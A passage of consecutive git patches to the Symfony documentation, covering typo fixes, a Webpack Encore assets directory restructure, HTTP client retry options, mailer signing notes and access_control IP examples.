--- a/http_client.rst
+++ b/http_client.rst
@@ -798,7 +798,7 @@ following methods::
     // gets the response body as a string
     $content = $response->getContent();
 
-    // casts the response JSON contents to a PHP array
+    // casts the response JSON content to a PHP array
     $content = $response->toArray();
 
     // casts the response content to a PHP stream resource
@@ -842,7 +842,7 @@ response sequentially instead of waiting for the entire response::
         throw new \Exception('...');
     }
 
-    // get the response contents in chunk and save them in a file
+    // get the response content in chunks and save them in a file
     // response chunks implement Symfony\Contracts\HttpClient\ChunkInterface
     $fileHandler = fopen('/ubuntu.iso', 'w');
     foreach ($client->stream($response) as $chunk) {

From fbf534835fdb04609c30f6d4e887fd24e99e3e93 Mon Sep 17 00:00:00 2001
From: Yoann Chocteau <Yoann-TYT@users.noreply.github.com>
Date: Wed, 30 Sep 2020 09:53:59 +0200
Subject: [PATCH 1221/7107] Update user_provider.rst

ServiceEntityRepository instead of EntityRepository ( Using a Custom Query to Load the User )
---
 security/user_provider.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 04a587b2529..eb11553c8f1 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -128,23 +128,24 @@ interface only requires one method: ``loadUserByUsername($username)``::
     // src/Repository/UserRepository.php
     namespace App\Repository;
 
-    use Doctrine\ORM\EntityRepository;
+    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
     use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
 
-    class UserRepository extends EntityRepository implements UserLoaderInterface
+    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
     {
         // ...
 
         public function loadUserByUsername($usernameOrEmail)
         {
-            return $this->createQuery(
+            $entityManager = $this->getEntityManager();
+            
+            return $entityManager->createQuery(
                     'SELECT u
                     FROM App\Entity\User u
                     WHERE u.username = :query
                     OR u.email = :query'
                 )
                 ->setParameter('query', $usernameOrEmail)
-                ->getQuery()
                 ->getOneOrNullResult();
         }
     }

From e5aa7615eb7125fa773310e3b9250a6cae73e000 Mon Sep 17 00:00:00 2001
From: Titouan Galopin <galopintitouan@gmail.com>
Date: Sat, 26 Sep 2020 13:55:35 +0200
Subject: [PATCH 1222/7107] [Webpack Encore] Change default assets directory
 structure

---
 frontend/encore/advanced-config.rst |  8 +++----
 frontend/encore/bootstrap.rst       |  2 +-
 frontend/encore/code-splitting.rst  |  6 ++---
 frontend/encore/copy-files.rst      |  2 +-
 frontend/encore/faq.rst             |  2 +-
 frontend/encore/installation.rst    | 18 +++++++--------
 frontend/encore/shared-entry.rst    | 10 ++++-----
 frontend/encore/simple-example.rst  | 34 ++++++++++++++---------------
 frontend/encore/split-chunks.rst    |  8 +++----
 mailer.rst                          |  8 +++----
 10 files changed, 49 insertions(+), 49 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index eb77baef504..86bdb812b94 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -65,8 +65,8 @@ state of the current configuration to build a new one:
     Encore
         .setOutputPath('public/build/first_build/')
         .setPublicPath('/build/first_build')
-        .addEntry('app', './assets/js/app.js')
-        .addStyleEntry('global', './assets/css/global.scss')
+        .addEntry('app', './assets/app.js')
+        .addStyleEntry('global', './assets/styles/global.scss')
         .enableSassLoader()
         .autoProvidejQuery()
         .enableSourceMaps(!Encore.isProduction())
@@ -85,8 +85,8 @@ state of the current configuration to build a new one:
     Encore
         .setOutputPath('public/build/second_build/')
         .setPublicPath('/build/second_build')
-        .addEntry('mobile', './assets/js/mobile.js')
-        .addStyleEntry('mobile', './assets/css/mobile.less')
+        .addEntry('mobile', './assets/mobile.js')
+        .addStyleEntry('mobile', './assets/styles/mobile.less')
         .enableLessLoader()
         .enableSourceMaps(!Encore.isProduction())
     ;
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index ff281f588ac..f1e28cabc37 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -18,7 +18,7 @@ a ``global.scss`` file, import it from there:
 
 .. code-block:: scss
 
-    // assets/css/global.scss
+    // assets/styles/global.scss
 
     // customize some Bootstrap variables
     $primary: darken(#428bca, 20%);
diff --git a/frontend/encore/code-splitting.rst b/frontend/encore/code-splitting.rst
index ffbfe8b4d28..759987e5f0a 100644
--- a/frontend/encore/code-splitting.rst
+++ b/frontend/encore/code-splitting.rst
@@ -9,7 +9,7 @@ clicked a link:
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
 
     import $ from 'jquery';
     // a fictional "large" module (e.g. it imports video.js internally)
@@ -27,13 +27,13 @@ the code via AJAX when it's needed:
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
 
     import $ from 'jquery';
 
     $('.js-open-video').on('click', function() {
         // you could start a loading animation here
-    
+
         // use import() as a function - it returns a Promise
         import('./components/VideoPlayer').then(({ default: VideoPlayer }) => {
             // you could stop a loading animation here
diff --git a/frontend/encore/copy-files.rst b/frontend/encore/copy-files.rst
index bc263ef056a..7ea5a541622 100644
--- a/frontend/encore/copy-files.rst
+++ b/frontend/encore/copy-files.rst
@@ -12,7 +12,7 @@ To reference an image tag from inside a JavaScript file, *require* the file:
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
 
     // returns the final, public path to this file
     // path is relative to this file - e.g. assets/images/logo.png
diff --git a/frontend/encore/faq.rst b/frontend/encore/faq.rst
index 3c621c3b8d0..c6c6d86c257 100644
--- a/frontend/encore/faq.rst
+++ b/frontend/encore/faq.rst
@@ -116,7 +116,7 @@ But, instead of working, you see an error:
 
     This dependency was not found:
 
-    * respond.js in ./assets/js/app.js
+    * respond.js in ./assets/app.js
 
 Typically, a package will "advertise" its "main" file by adding a ``main`` key to
 its ``package.json``. But sometimes, old libraries won't have this. Instead, you'll
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 7cf878a1637..8241dbcd0b2 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -79,9 +79,9 @@ is the main config file for both Webpack and Webpack Encore:
          * Each entry will result in one JavaScript file (e.g. app.js)
          * and one CSS file (e.g. app.css) if your JavaScript imports CSS.
          */
-        .addEntry('app', './assets/js/app.js')
-        //.addEntry('page1', './assets/js/page1.js')
-        //.addEntry('page2', './assets/js/page2.js')
+        .addEntry('app', './assets/app.js')
+        //.addEntry('page1', './assets/page1.js')
+        //.addEntry('page2', './assets/page2.js')
 
         // When enabled, Webpack "splits" your files into smaller pieces for greater optimization.
         .splitEntryChunks()
@@ -124,17 +124,17 @@ is the main config file for both Webpack and Webpack Encore:
 
         // uncomment if you use API Platform Admin (composer require api-admin)
         //.enableReactPreset()
-        //.addEntry('admin', './assets/js/admin.js')
+        //.addEntry('admin', './assets/admin.js')
     ;
 
     module.exports = Encore.getWebpackConfig();
 
-Next, open the new ``assets/js/app.js`` file which contains some JavaScript code
+Next, open the new ``assets/app.js`` file which contains some JavaScript code
 *and* imports some CSS:
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
     /*
      * Welcome to your app's main JavaScript file!
      *
@@ -148,13 +148,13 @@ Next, open the new ``assets/js/app.js`` file which contains some JavaScript code
     // Need jQuery? Install it with "yarn add jquery", then uncomment to import it.
     // import $ from 'jquery';
 
-    console.log('Hello Webpack Encore! Edit me in assets/js/app.js');
+    console.log('Hello Webpack Encore! Edit me in assets/app.js');
 
-And the new ``assets/css/app.css`` file:
+And the new ``assets/styles/app.css`` file:
 
 .. code-block:: css
 
-    /* assets/css/app.css */
+    /* assets/styles/app.css */
     body {
         background-color: lightgray;
     }
diff --git a/frontend/encore/shared-entry.rst b/frontend/encore/shared-entry.rst
index 6693b649d8d..a2c2d08ea2a 100644
--- a/frontend/encore/shared-entry.rst
+++ b/frontend/encore/shared-entry.rst
@@ -18,11 +18,11 @@ Update your code to use ``createSharedEntry()``:
 
     Encore
         // ...
-    -     .addEntry('app', './assets/js/app.js')
-    +     .createSharedEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+    -     .addEntry('app', './assets/app.js')
+    +     .createSharedEntry('app', './assets/app.js')
+        .addEntry('homepage', './assets/homepage.js')
+        .addEntry('blog', './assets/blog.js')
+        .addEntry('store', './assets/store.js')
 
 Before making this change, if both ``app.js`` and ``store.js`` require ``jquery``,
 then ``jquery`` would be packaged into *both* files, which is wasteful. By making
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 03c5626ee02..30aa4400d1c 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -4,8 +4,8 @@ Encore: Setting up your Project
 After :doc:`installing Encore </frontend/encore/installation>`, your app already has one
 CSS and one JS file, organized into an ``assets/`` directory:
 
-* ``assets/js/app.js``
-* ``assets/css/app.css``
+* ``assets/app.js``
+* ``assets/styles/app.css``
 
 With Encore, think of your ``app.js`` file like a standalone JavaScript
 application: it will *require* all of the dependencies it needs (e.g. jQuery or React),
@@ -14,7 +14,7 @@ application: it will *require* all of the dependencies it needs (e.g. jQuery or
 
 .. code-block:: javascript
 
-    // assets/js/app.js
+    // assets/app.js
     // ...
 
     import '../css/app.css';
@@ -43,14 +43,14 @@ of your project. It already holds the basic config you need:
         // public path used by the web server to access the output path
         .setPublicPath('/build')
 
-        .addEntry('app', './assets/js/app.js')
+        .addEntry('app', './assets/app.js')
 
         // ...
     ;
 
     // ...
 
-The *key* part is ``addEntry()``: this tells Encore to load the ``assets/js/app.js``
+The *key* part is ``addEntry()``: this tells Encore to load the ``assets/app.js``
 file and follow *all* of the ``require()`` statements. It will then package everything
 together and - thanks to the first ``app`` argument - output final ``app.js`` and
 ``app.css`` files into the ``public/build`` directory.
@@ -115,7 +115,7 @@ can do most of the work for you:
 .. _encore-entrypointsjson-simple-description:
 
 That's it! When you refresh your page, all of the JavaScript from
-``assets/js/app.js`` - as well as any other JavaScript files it included - will
+``assets/app.js`` - as well as any other JavaScript files it included - will
 be executed. All the CSS files that were required will also be displayed.
 
 The ``encore_entry_link_tags()`` and ``encore_entry_script_tags()`` functions
@@ -143,7 +143,7 @@ files. First, create a file that exports a function:
 
 .. code-block:: javascript
 
-    // assets/js/greet.js
+    // assets/greet.js
     module.exports = function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
     };
@@ -158,7 +158,7 @@ Great! Use ``require()`` to import ``jquery`` and ``greet.js``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+    // assets/app.js
     // ...
 
     + // loads the jquery package from node_modules
@@ -187,7 +187,7 @@ To export values using the alternate syntax, use ``export``:
 
 .. code-block:: diff
 
-    // assets/js/greet.js
+    // assets/greet.js
     - module.exports = function(name) {
     + export default function(name) {
         return `Yo yo ${name} - welcome to Encore!`;
@@ -197,7 +197,7 @@ To import values, use ``import``:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+    // assets/app.js
     - require('../css/app.css');
     + import '../css/app.css';
 
@@ -219,12 +219,12 @@ etc.). To handle this, create a new "entry" JavaScript file for each page:
 
 .. code-block:: javascript
 
-    // assets/js/checkout.js
+    // assets/checkout.js
     // custom code for your checkout page
 
 .. code-block:: javascript
 
-    // assets/js/account.js
+    // assets/account.js
     // custom code for your account page
 
 Next, use ``addEntry()`` to tell Webpack to read these two new files when it builds:
@@ -234,9 +234,9 @@ Next, use ``addEntry()`` to tell Webpack to read these two new files when it bui
     // webpack.config.js
     Encore
         // ...
-        .addEntry('app', './assets/js/app.js')
-    +     .addEntry('checkout', './assets/js/checkout.js')
-    +     .addEntry('account', './assets/js/account.js')
+        .addEntry('app', './assets/app.js')
+    +     .addEntry('checkout', './assets/checkout.js')
+    +     .addEntry('account', './assets/account.js')
         // ...
 
 And because you just changed the ``webpack.config.js`` file, make sure to stop
@@ -285,7 +285,7 @@ file to ``app.scss`` and update the ``import`` statement:
 
 .. code-block:: diff
 
-    // assets/js/app.js
+    // assets/app.js
     - import '../css/app.css';
     + import '../css/app.scss';
 
@@ -336,7 +336,7 @@ If you want to only compile a CSS file, that's possible via ``addStyleEntry()``:
     Encore
         // ...
 
-        .addStyleEntry('some_page', './assets/css/some_page.css')
+        .addStyleEntry('some_page', './assets/styles/some_page.css')
     ;
 
 This will output a new ``some_page.css``.
diff --git a/frontend/encore/split-chunks.rst b/frontend/encore/split-chunks.rst
index ebaa4ee48ce..0205537b7d0 100644
--- a/frontend/encore/split-chunks.rst
+++ b/frontend/encore/split-chunks.rst
@@ -14,10 +14,10 @@ To enable this, call ``splitEntryChunks()``:
         // ...
 
         // multiple entry files, which probably import the same code
-        .addEntry('app', './assets/js/app.js')
-        .addEntry('homepage', './assets/js/homepage.js')
-        .addEntry('blog', './assets/js/blog.js')
-        .addEntry('store', './assets/js/store.js')
+        .addEntry('app', './assets/app.js')
+        .addEntry('homepage', './assets/homepage.js')
+        .addEntry('blog', './assets/blog.js')
+        .addEntry('store', './assets/store.js')
 
     +     .splitEntryChunks()
 
diff --git a/mailer.rst b/mailer.rst
index 2d4838ba4b5..a932050c049 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -626,7 +626,7 @@ called ``css`` that points to the directory where ``email.css`` lives:
 
             paths:
                 # point this wherever your css files live
-                '%kernel.project_dir%/assets/css': css
+                '%kernel.project_dir%/assets/styles': styles
 
     .. code-block:: xml
 
@@ -642,7 +642,7 @@ called ``css`` that points to the directory where ``email.css`` lives:
                 <!-- ... -->
 
                 <!-- point this wherever your css files live -->
-                <twig:path namespace="css">%kernel.project_dir%/assets/css</twig:path>
+                <twig:path namespace="styles">%kernel.project_dir%/assets/styles</twig:path>
             </twig:config>
         </container>
 
@@ -653,7 +653,7 @@ called ``css`` that points to the directory where ``email.css`` lives:
             // ...
             'paths' => [
                 // point this wherever your css files live
-                '%kernel.project_dir%/assets/css' => 'css',
+                '%kernel.project_dir%/assets/styles' => 'styles',
             ],
         ]);
 
@@ -741,7 +741,7 @@ You can combine all filters to create complex email messages:
 
 This makes use of the :ref:`css Twig namespace <mailer-css-namespace>` we created
 earlier. You could, for example, `download the foundation-emails.css file`_
-directly from GitHub and save it in ``assets/css``.
+directly from GitHub and save it in ``assets/styles``.
 
 Signing and Encrypting Messages
 -------------------------------

From f40fd45adda961236f6da8e3f767f8353138b176 Mon Sep 17 00:00:00 2001
From: RiffFred <72142966+RiffFred@users.noreply.github.com>
Date: Wed, 30 Sep 2020 15:54:02 +0200
Subject: [PATCH 1223/7107] typo fix for the Signing Messages chapter

fixes the syntax highlighting for the SMimeSigner code example
fixes the DKIM wikipedia link
---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4f2ec4718a0..e257869b94d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -798,7 +798,7 @@ S/MIME Signer
 .............
 
 `S/MIME`_ is a standard for public key encryption and signing of MIME data. It
-requires using both a certificate and a private key:
+requires using both a certificate and a private key::
 
     use Symfony\Component\Mime\Crypto\SMimeSigner;
     use Symfony\Component\Mime\Email;
@@ -1168,7 +1168,7 @@ a specific address, instead of the *real* address:
 .. _`Markdown syntax`: https://commonmark.org/
 .. _`Inky`: https://get.foundation/emails/docs/inky.html
 .. _`S/MIME`: https://en.wikipedia.org/wiki/S/MIME
-.. _`DKIM`: `https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
+.. _`DKIM`: https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail
 .. _`OpenSSL PHP extension`: https://www.php.net/manual/en/book.openssl.php
 .. _`PEM encoded`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout

From 9fcc215a9f045f206cc776a2c4b87e7173d4e9dc Mon Sep 17 00:00:00 2001
From: Henri Larget <1727893+decima@users.noreply.github.com>
Date: Thu, 1 Oct 2020 14:31:21 +0200
Subject: [PATCH 1224/7107] Update mailer.rst

This is the signature of the method:
```
    public function __construct(string $pk, string $domainName, string $selector, array $defaultOptions = [], string $passphrase = '')
```
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index e257869b94d..352e3613fea 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -841,7 +841,7 @@ key but not a certificate::
     // second and third arguments: the domain name and "selector" used to perform a DNS lookup
     // (the selector is a string used to point to a specific DKIM public key record in your DNS)
     $signer = new DkimSigner('file:///path/to/private-key.key', 'example.com', 'sf');
-    // if the private key has a passphrase, pass it as the fourth argument
+    // if the private key has a passphrase, pass it as the fifth argument
     // new DkimSigner('file:///path/to/private-key.key', 'example.com', 'sf', [], 'the-passphrase');
 
     $signedEmail = $signer->sign($email);

From 8213d9c63d738c95fbf62eba3f6e0fa334aecb0e Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Tue, 29 Sep 2020 11:56:42 +0200
Subject: [PATCH 1225/7107] Update location of preloading file

---
 performance.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index 74eb7222034..78f7e2cd83e 100644
--- a/performance.rst
+++ b/performance.rst
@@ -119,7 +119,7 @@ can configure PHP to use this preload file:
 .. code-block:: ini
 
     ; php.ini
-    opcache.preload=/path/to/project/src/.preload.php
+    opcache.preload=/path/to/project/config/preload.php
 
 .. _performance-configure-opcache:
 

From d55b4316055b133ce971ff10a40e2d0c749db237 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Oct 2020 17:58:22 +0200
Subject: [PATCH 1226/7107] Tweaks

---
 performance.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 78f7e2cd83e..2356bd18911 100644
--- a/performance.rst
+++ b/performance.rst
@@ -109,8 +109,8 @@ make them available to all requests until the server is restarted, improving
 performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
-Symfony generates a file called ``.preload`` (with a leading ``.``) in the
-``src/`` directory with the list of classes to preload.
+Symfony generates a file called ``preload.php`` in the ``config/`` directory
+with the list of classes to preload.
 
 The only requirement is that you need to set both ``container.dumper.inline_factories``
 and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you

From 7f0e8d8e8005db4420e7c0d854d76b4c08c19f43 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Oct 2020 12:45:46 +0200
Subject: [PATCH 1227/7107] Tweaks and rewords

---
 http_client.rst                       | 25 ++++++++-----
 reference/configuration/framework.rst | 52 ++++++++++++++++++++-------
 2 files changed, 56 insertions(+), 21 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 53e58bdcf39..7f44141a6dc 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -658,10 +658,23 @@ making a request. Use the ``max_redirects`` setting to configure this behavior
 Retry Failed Requests
 ~~~~~~~~~~~~~~~~~~~~~
 
-Some times, requests failed because of temporary issue in the server or
-because network issue. You can use the
-:class:`Symfony\\Component\\HttpClient\\RetryableHttpClient`
-client to automatically retry the request when it fails.::
+.. versionadded:: 5.2
+
+    The feature to retry failed HTTP requests was introduced in Symfony 5.2.
+
+Sometimes, requests fail because of network issues or temporary server errors.
+Symfony's HttpClient allows to retry failed requests automatically using the
+:ref:`retry_failed option <reference-http-client-retry-failed>`. When enabled,
+each failed request with an HTTP status of ``423``, ``425``, ``429``, ``500``,
+``502``, ``503``, ``504``, ``507``, or ``510`` is retried up to 3 times, with an
+exponential delay between retries (first retry = 1 second; third retry: 4 seconds).
+
+Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
+to learn how to tweak each of them to fit your application needs.
+
+When using the HttpClient outside of a Symfony application, use the
+:class:`Symfony\\Component\\HttpClient\\RetryableHttpClient` class to wrap your
+original HTTP client::
 
     use Symfony\Component\HttpClient\RetryableHttpClient;
 
@@ -673,10 +686,6 @@ decide if the request should be retried, and a
 :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface` to
 define the waiting time between each retry.
 
-By default, it retries until 3 attemps, the requests responding with a
-status code in (423, 425, 429, 500, 502, 503, 504, 507 or 510) and wait
-expentially from 1 second for the first retry, to 4 seconds at the 3rd attempt.
-
 HTTP Proxies
 ~~~~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 1501f5a1540..c1c189d1f5a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -792,6 +792,10 @@ will automaticaly retry failed HTTP requests.
                     retry_failed:
                         max_retries: 4
 
+.. versionadded:: 5.2
+
+    The ``retry_failed`` option was introduced in Symfony 5.2.
+
 auth_basic
 ..........
 
@@ -824,13 +828,15 @@ backoff_service
 
 **type**: ``string``
 
+.. versionadded:: 5.2
+
+    The ``backoff_service`` option was introduced in Symfony 5.2.
+
 The service id used to compute the time to wait between retries. By default, it
 uses an instance of
 :class:`Symfony\\Component\\HttpClient\\Retry\\ExponentialBackOff` configured
 with ``delay``, ``max_delay`` and ``multiplier`` options. This class has to
 implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryBackOffInterface`.
-This options cannot be used along `delay`_, `max_delay`_ or `multiplier`_
-options.
 
 base_uri
 ........
@@ -905,20 +911,26 @@ decider_service
 
 **type**: ``string``
 
+.. versionadded:: 5.2
+
+    The ``decider_service`` option was introduced in Symfony 5.2.
+
 The service id used to decide if a request should be retried. By default, it
 uses an instance of
 :class:`Symfony\\Component\\HttpClient\\Retry\\HttpStatusCodeDecider` configured
-with ``http_codes`` options. This class has to
-implement :class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`.
-This options cannot be used along `http_codes`_ option.
+with the ``http_codes`` option. This class has to implement
+:class:`Symfony\\Component\\HttpClient\\Retry\\RetryDeciderInterface`.
 
 delay
 .....
 
 **type**: ``integer`` **default**: ``1000``
 
-The initial delay in milliseconds used to compute the waiting time between
-retries. This options cannot be used along `backoff_service`_ option.
+.. versionadded:: 5.2
+
+    The ``delay`` option was introduced in Symfony 5.2.
+
+The initial delay in milliseconds used to compute the waiting time between retries.
 
 .. _reference-http-client-retry-enabled:
 
@@ -943,8 +955,11 @@ http_codes
 
 **type**: ``array`` **default**: ``[423, 425, 429, 500, 502, 503, 504, 507, 510]``
 
+.. versionadded:: 5.2
+
+    The ``http_codes`` option was introduced in Symfony 5.2.
+
 The list of HTTP status codes that triggers a retry of the request.
-This options cannot be used along `decider_service`_ option.
 
 http_version
 ............
@@ -976,9 +991,12 @@ max_delay
 
 **type**: ``integer`` **default**: ``0``
 
+.. versionadded:: 5.2
+
+    The ``max_delay`` option was introduced in Symfony 5.2.
+
 The maximum amount of milliseconds initial to wait between retries.
 Use ``0`` to not limit the duration.
-This options cannot be used along `backoff_service`_ option.
 
 max_duration
 ............
@@ -1011,16 +1029,24 @@ max_retries
 
 **type**: ``integer`` **default**: ``3``
 
-The maximum number of retries before aborting. When the maximum is reach, the
-client returns the last received responses.
+.. versionadded:: 5.2
+
+    The ``max_retries`` option was introduced in Symfony 5.2.
+
+The maximum number of retries for failing requests. When the maximum is reached,
+the client returns the last received response.
 
 multiplier
 ..........
 
 **type**: ``float`` **default**: ``2``
 
-Multiplier to apply to the delay each time a retry occurs.
-This options cannot be used along `backoff_service`_ option.
+.. versionadded:: 5.2
+
+    The ``multiplier`` option was introduced in Symfony 5.2.
+
+This value is multiplied to the delay each time a retry occurs, to distribute
+retries in time instead of making all of them sequentially.
 
 no_proxy
 ........

From d7cd85d44823be6bf25b09c344ab1ee06de7965a Mon Sep 17 00:00:00 2001
From: Mickael GOETZ <MrMitch@users.noreply.github.com>
Date: Fri, 2 Oct 2020 14:09:21 +0200
Subject: [PATCH 1228/7107] [lock] fix "time to leave" typo ("time to live")

This fixes a typo in one of the warnings about the TTL for expiring stores where TTL was expanded as *time to leave* instead of *time to live*
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 892bc72c3fd..6a1fd3cca62 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -478,7 +478,7 @@ Using the above methods, a more robust code would be::
 .. caution::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
-    time to leave is enough to perform the task.
+    time to live is enough to perform the task.
 
 .. caution::
 

From b86e003aef789ad9ac5746ec12e7e67c9cac3001 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 2 Oct 2020 15:24:55 +0200
Subject: [PATCH 1229/7107] Tweak

---
 reference/forms/types/money.rst   | 3 ++-
 reference/forms/types/percent.rst | 3 ++-
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 5952ba77b67..bb91d0b08da 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -100,7 +100,8 @@ html5
 
     This option was introduced in Symfony 5.2.
 
-If set to true, the HTML input will be rendered as a native HTML5 type="number" form.
+If set to ``true``, the HTML input will be rendered as a native HTML5
+``<input type="number">`` element.
 
 .. caution::
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index e35d54a022b..4b21f1f2856 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -67,7 +67,8 @@ html5
 
     This option was introduced in Symfony 5.2.
 
-If set to true, the HTML input will be rendered as a native HTML5 type="number" form.
+If set to ``true``, the HTML input will be rendered as a native HTML5
+``<input type="number">`` element.
 
 scale
 ~~~~~

From fd03b5ef92db7ad6f38059713d97fa88e30e4aea Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Sat, 3 Oct 2020 10:12:27 +0200
Subject: [PATCH 1230/7107] Adding docs about Request::toArray()

---
 components/http_foundation.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index c4662198bdb..27842974496 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -188,9 +188,16 @@ Finally, the raw data sent with the request body can be accessed using
 
     $content = $request->getContent();
 
-For instance, this may be useful to process a JSON string sent to the
+For instance, this may be useful to process a XML string sent to the
 application by a remote service using the HTTP POST method.
 
+.. versionadded:: 5.2
+
+    If the request body is a JSON string, it can be accessed using
+    :method:`Symfony\\Component\\HttpFoundation\\Request::toArray`::
+
+        $data = $request->toArray();
+
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 

From b5156615f019e6974abe14d7f0f66d28460e7959 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 15:12:38 +0200
Subject: [PATCH 1231/7107] [#14325] Moved contents out of versionadded
 directive

---
 components/http_foundation.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 27842974496..62815a98a8b 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -191,12 +191,14 @@ Finally, the raw data sent with the request body can be accessed using
 For instance, this may be useful to process a XML string sent to the
 application by a remote service using the HTTP POST method.
 
-.. versionadded:: 5.2
+If the request body is a JSON string, it can be accessed using
+:method:`Symfony\\Component\\HttpFoundation\\Request::toArray`::
+
+    $data = $request->toArray();
 
-    If the request body is a JSON string, it can be accessed using
-    :method:`Symfony\\Component\\HttpFoundation\\Request::toArray`::
+.. versionadded:: 5.2
 
-        $data = $request->toArray();
+    The ``toArray()`` method was introduced in Symfony 5.2.
 
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~

From 14d9473720bf374cf02166d6f121db9947b07643 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 15:40:46 +0200
Subject: [PATCH 1232/7107] [#14219] Merged the two IPs examples

---
 security/access_control.rst | 111 ++++++++++++++----------------------
 1 file changed, 42 insertions(+), 69 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 6bc661ce540..225687c02f6 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -25,7 +25,7 @@ access control should be used on this request. The following ``access_control``
 options are used for matching:
 
 * ``path``: a regular expression (without delimiters)
-* ``ip`` or ``ips``: netmasks are also supported
+* ``ip`` or ``ips``: netmasks are also supported (can be a comma-separated string)
 * ``port``: an integer
 * ``host``: a regular expression
 * ``methods``: one or many methods
@@ -37,6 +37,9 @@ Take the following ``access_control`` entries as an example:
     .. code-block:: yaml
 
         # config/packages/security.yaml
+        parameters:
+            env(TRUSTED_IPS): '10.0.0.1, 10.0.0.2'
+
         security:
             # ...
             access_control:
@@ -45,6 +48,10 @@ Take the following ``access_control`` entries as an example:
                 - { path: '^/admin', roles: ROLE_USER_HOST, host: symfony\.com$ }
                 - { path: '^/admin', roles: ROLE_USER_METHOD, methods: [POST, PUT] }
 
+                # ips can be comma-separated, which is especially useful when using env variables
+                - { path: '^/admin', roles: ROLE_USER_IP, ips: '%env(TRUSTED_IPS)%' }
+                - { path: '^/admin', roles: ROLE_USER_IP, ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
+
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -57,18 +64,31 @@ Take the following ``access_control`` entries as an example:
                 http://symfony.com/schema/dic/security
